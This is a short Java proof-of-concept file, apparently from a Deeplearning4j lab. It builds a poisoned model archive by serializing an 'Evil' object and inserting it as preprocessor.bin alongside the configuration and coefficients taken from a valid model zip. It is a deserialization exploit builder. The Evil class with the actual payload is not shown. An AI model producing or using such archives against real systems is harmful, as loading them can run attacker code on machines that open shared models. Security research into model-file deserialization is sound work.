poc/MakeEvil2.java

import java.io.*;
import java.util.zip.*;

public class MakeEvil2 {
  public static void main(String[] a) throws Exception {
    Evil e = new Evil();
    e.note = "served-as-preprocessor.bin";
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(bos);
    oos.writeObject(e); oos.close();
    byte[] preproc = bos.toByteArray();

    byte[] cfg=null, coef=null;
    try (ZipInputStream zin = new ZipInputStream(new FileInputStream("/tmp/dl4jlab/valid.zip"))) {
      ZipEntry z;
      while ((z=zin.getNextEntry())!=null) {
        ByteArrayOutputStream b=new ByteArrayOutputStream(); byte[] buf=new byte[4096]; int n;
        while((n=zin.read(buf))>0) b.write(buf,0,n);
        if (z.getName().equals("configuration.json")) cfg=b.toByteArray();
        if (z.getName().equals("coefficients.bin")) coef=b.toByteArray();
      }
    }
    try (ZipOutputStream zos = new ZipOutputStream(new FileOutputStream("/tmp/dl4jlab/evil2.zip"))) {
      zos.putNextEntry(new ZipEntry("configuration.json")); zos.write(cfg); zos.closeEntry();
      zos.putNextEntry(new ZipEntry("coefficients.bin")); zos.write(coef); zos.closeEntry();
      zos.putNextEntry(new ZipEntry("preprocessor.bin")); zos.write(preproc); zos.closeEntry();
    }
    System.out.println("WROTE evil2.zip preproc_bytes="+preproc.length);
  }
}